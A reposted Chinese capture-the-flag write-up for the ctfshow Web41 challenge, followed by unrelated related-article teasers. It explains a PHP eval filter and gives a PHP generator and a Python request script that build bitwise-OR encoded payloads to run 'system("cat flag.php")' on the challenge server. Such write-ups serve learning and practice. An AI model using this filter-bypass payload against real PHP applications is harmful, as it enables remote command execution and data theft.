ctfshow(41)--RCE/命令执行漏洞--或绕过

Web41

源代码:

if(isset($_POST['c'])){$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){eval("echo($c);");}
}else{highlight_file(__FILE__);
}

代码审计:

过滤了数字和字母,但没有过滤或运算|

思路:

使用或运算绕过。

EXP:

脚本1:

<?php
$P = '/[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-/i';
$res1 = '';
$res2 = '';
$target = 'cat flag.php';
$len = strlen($target);
for ($i = 0; $i < $len; $i++) {$loop = true;for ($n1 = 0; $n1 < 256; $n1++) {if (!$loop) break;$n1Hex = $n1 < 16 ? '0' . dechex($n1) : dechex($n1);if (preg_match($P, hex2bin($n1Hex))) continue;for ($n2 = 0; $n2 < 256; $n2++) {$n2Hex = $n2 < 16 ? '0' . dechex($n2) : dechex($n2);if (preg_match($P, hex2bin($n2Hex))) continue;$n1UrlEncode = '%' . $n1Hex;$n2UrlEncode = '%' . $n2Hex;$orRes = urldecode($n1UrlEncode) | urldecode($n2UrlEncode);if ($orRes === $target[$i]) {$res1 .= $n1UrlEncode;$res2 .= $n2UrlEncode;$loop = false;break;}}}
}
echo '\'' . $res1 . '\'' . '|' . '\'' . $res2 . '\'';

脚本分析:

先分析被创建的变量:
$P 是一个正则形式的字符串,储存的是题目过滤的字符。
$res1$res2先设置为空字符串,分别用来储存或运算的前件与后件。
$target 是我们要执行的RCE命令。
$len 获取target变量的长度。

分析循环结构:

最外层循环:

for ($i = 0; $i < $len; $i++)

变量$i的值代表的是$target中字符的索引,从第一个字符,即索引为0的字符开始,依次运算到最后一个字符,即 索引=$len-1 的字符为止。
在该层循环中还创建了变量$loop,用于控制内层循环是否进行。

内层循环:

for ($n1 = 0; $n1 < 256; $n1++)

变量$n1从0开始,到255为止,对应的是ASCII码中的256个编码的序号。
先判断if (!$loop) break;,即loop的值为false时,跳出该层循环。

$n1Hex = $n1 < 16 ? '0' . dechex($n1) : dechex($n1);

变量$n1Hex是变量n1的十六进制形式,如果n1<16,就在十六进制形式前拼接0.
这是因为16以下的十进制数字的十六进制形式都是一位数,而ASCII码中的符号的十六进制编码都是两位,不足两位的要在前面补零。

if (preg_match($P, hex2bin($n1Hex))) continue;

hex2bin是将十六进制数转换为ASCII字符(PHP版本高于5.4.0).
如果该符号是被过滤的符号,则continue,跳过该次循环,进行下一次循环。
如果不是,则进入下一层循环。

最内层循环:

for ($n2 = 0; $n2 < 256; $n2++)

n2与n1的含义相同。
经过与上一层循环相同的步骤后:

 $n1UrlEncode = '%' . $n1Hex;$n2UrlEncode = '%' . $n2Hex;
$orRes = urldecode($n1UrlEncode) | urldecode($n2UrlEncode);

创建n1与n2的url编码形式的变量,然后对这两个变量进行或运算,结果赋值给$orRes
如果$orRes的值与target中相应的字符串相同,就将两个url编码变量储存在res1和res2中,再跳出到最外层循环,继续运算下一个字符。

脚本2:

from requests import post
from urllib.parse import unquotefunc = '(\'%13%19%13%14%05%0d\'|\'%60%60%60%60%60%60\')'
param = '(\'%03%01%14%00%06%0c%01%07%00%10%08%10\'|\'%60%60%60%20%60%60%60%60%2e%60%60%60\')'
resp = post(url='http://250882cd-1ff1-428b-a800-06fcb94d83cf.challenge.ctf.show/',data={'c': unquote(func + param)}
)
print(resp.text)

unquote用于将字符串url解码。
func的值是system命令的编码
param 的值是 cat flag.php 的编码

最后输出页面信息,得到flag。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/57770.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

语言模型微调:提升语言Agent性能的新方向

人工智能咨询培训老师叶梓 转载标明出处 大多数语言Agent依赖于少量样本提示技术&#xff08;few-shot prompting&#xff09;和现成的语言模型。这些模型在作为Agent使用时&#xff0c;如生成动作或自我评估&#xff0c;通常表现不佳&#xff0c;且鲁棒性差。 论文《FIREACT…

随机抽取学号

idea 配置 抽学号 浏览器 提交一个100 以内的整数。&#xff0c;后端接受后&#xff0c;根据提供的整数&#xff0c;产生 100 以内的 随机数&#xff0c;返回给浏览器&#xff1f; 前端&#xff1a;提供 随机数范围 &#xff0c;病发送请求后端&#xff1a;处理随机数的产生&…

【电机应用】变频器控制——变频水泵、变频空调

【电机应用】变频器控制——变频水泵、变频空调 文章目录 [TOC](文章目录) 前言一、变频器1、变频器的组成2、变频器的工作原理3、变频器常用算法 二、变频器的应用场景1、变频水泵2、变频空调 三、参考文献总结 前言 使用工具&#xff1a; 提示&#xff1a;以下是本篇文章正文…

Android 原生开发与Harmony原生开发浅析

Android系统 基于Linux ,架构如下 底层 (Linux )> Native ( C层) > FrameWork层 (SystemService) > 系统应用 (闹钟/日历等) 从Android发版1.0开始到现在15,经历了大大小小的变革 从Android6.0以下是个分水岭,6.0之前权限都是直接卸载Manifest中配置 6.0开始 则分普…

Matlab|基于氢储能的热电联供型微电网优化调度方法

目录 1 主要内容 模型求解流程 2 部分程序 3 程序结果 日前调度 日内调度 4 下载链接 1 主要内容 该程序复现《基于氢储能的热电联供型微电网优化调度方法》&#xff0c;针对质子交换膜燃料电池和电解槽的热电联供特性&#xff0c;为避免氢能系统的热能浪费并进一步提高…

k8s 综合项目笔记

综述 这篇笔记主要是为了记录下自己写 k8s 综合项目的过程。 由于自己之前已经写过简单的开发和运维项目&#xff0c;所以这里就结合一下&#xff0c;在搭建 k8s 集群后安装运维常用服务&#xff0c;比如 ansible 和 prometheus&#xff0c;用 NFS 实现数据存储同步&#xff0c…

Windwos下Docker下载安装centos7.6

操作步骤&#xff1a; 1.打开docker软件进入到DockerHub页面搜索contos镜像 2.在终端通过命令获取镜像并创建容器运行 docker run -itd --name test_centos7.6 centos:7.6.1810 test_centos7.6表示容器的名称 centos:7.6.1810表示镜像的名称&#xff0c;如果镜像不存在会默认拉…

网络层知识点总结4

目录 前言 一、什么是NAT&#xff1f;什么是NAPT&#xff1f;NAT的优点和缺点有哪些&#xff1f;NAPT有哪些特点&#xff1f; 二、建议IPv6协议没有首部检验和。这样做的优缺点是什么&#xff1f; 三、当使用IPv6时&#xff0c;协议ARP是否需要改变&#xff1f;如果需要改变…

ArcGIS计算多个面要素范围内栅格数据各数值的面积

本文介绍在ArcMap软件中&#xff0c;基于面积制表工具&#xff08;也就是Tabulate Area工具&#xff09;&#xff0c;基于1个面要素数据集与1个栅格数据&#xff0c;计算每一个面要素中各栅格数据分布面积的方法。 首先&#xff0c;来看一下本文的需求。现有一个矢量面的要素集…

Springboot整合原生ES依赖

前言 Springboot整合依赖大概有三种方式&#xff1a; es原生依赖&#xff1a;elasticsearch-rest-high-level-clientSpring Data ElasticsearchEasy-es 三者的区别 1. Elasticsearch Rest High Level Client 简介: 这是官方提供的 Elasticsearch 客户端&#xff0c;支持…

小问题解决方法汇总(2024.10.24水个勋章)

问题1&#xff1a;”因为在系统上禁止运行脚本“ 我们在使用命令行时经常遇到类似文章这样的提示&#xff0c;或者是如下截图中显示的那样&#xff1a; 仅需要在“管理员权限下的Powershell”中输入下面的命令即可解决&#xff1a; set-ExecutionPolicy RemoteSigned 输入命…

【数据分享】全国科技-产品质量国家监督抽查(1995-2021年)

数据介绍 一级标题指标名称单位科技国家监督抽查产品种类种科技国家监督抽查食品种类种科技国家监督抽查日用消费品种类种科技国家监督抽查建筑与装饰装修材料种类种科技国家监督抽查农业生产资料种类种科技国家监督抽查工业生产资料种类种科技国家监督抽查企业家科技国家监督抽…

软工毕设开题建议

文章目录 &#x1f6a9; 1 前言1.1 选题注意事项1.1.1 难度怎么把控&#xff1f;1.1.2 题目名称怎么取&#xff1f; 1.2 开题选题推荐1.2.1 起因1.2.2 核心- 如何避坑(重中之重)1.2.3 怎么办呢&#xff1f; &#x1f6a9;2 选题概览&#x1f6a9; 3 项目概览题目1 : 深度学习社…

一文讲明白大模型分布式逻辑(从GPU通信原语到Megatron、Deepspeed)

1. 背景介绍 如果你拿到了两台8卡A100的机器&#xff08;做梦&#xff09;&#xff0c;你的导师让你学习部署并且训练不同尺寸的大模型&#xff0c;并且写一个说明文档。你意识到&#xff0c;你最需要学习的就是关于分布式训练的知识&#xff0c;因为你可是第一次接触这么多卡…

【数据仓库】数据仓库面试题

简单整理了一下题目和答案&#xff0c;希望对大家有所帮助。 第一面&#xff1a;基础技术与概念 什么是ETL&#xff1f;请解释ETL过程中的每个步骤。 ETL是Extract, Transform, Load的缩写&#xff0c;用于描述将数据从源系统提取、转换为适合分析的形式、最后加载到目标系统的…

使用vscode拉取release远程分支,发现没有这个分支,但是远程仓库里确确实实有,是因为没有及时更新远程仓库分支导致

今天在开发过程中&#xff0c;需要从release分支上拉取代码重新拉个分支开发&#xff0c;方便后面迭代更新。但是我在vscode里点击分支&#xff0c;发现没有远程分支release/v1.0.0&#xff0c;但是仓库里确确实实有这个分支。然后我就上网查有类似的情况&#xff0c;参考别人是…

74页PPT智能工厂整体规划方案

▲关注智慧方案文库&#xff0c;学习9000多份最新解决方案&#xff0c;其中 PPT、WORD超过7000多份 &#xff0c;覆盖智慧城市多数领域的深度知识社区&#xff0c;稳定更新4年&#xff0c;日积月累&#xff0c;更懂行业需求。 智能工厂的定义 根据《智能工厂通用技术要求》的…

【个人记录】新电脑的配置截图和电源选项的修改

核心硬件评测&#xff1a; 硬件参数&#xff1a; #修改的电源设置# 电源选项-编辑计划设置-修改的设置&#xff1a; 电源选项-关闭盖子时-修改的设置&#xff1a;

MapStruct浅尝

<?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0"xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation"http://maven.apache.org/POM/4.0.0 http://ma…

一文掌握异步web框架FastAPI(七)-- 安全(XSS 和 CSRF 防护、权限和角色控制、审计日志、使用安全的随机数生成、API 文档保护、会话管理)

接上篇:一文掌握异步web框架FastAPI(六)-- 安全(HTTP验证、Bearer Token、Session、OAuth2 和 OpenID Connect、HTTPS 和 TLS、速率限制)-CSDN博客 目录 九、安全 7、XSS 和 CSRF 防护 1)XSS防护 2)CSRF防护 8、安全的数据存储 9、环境变量管理 10、权限和角色控…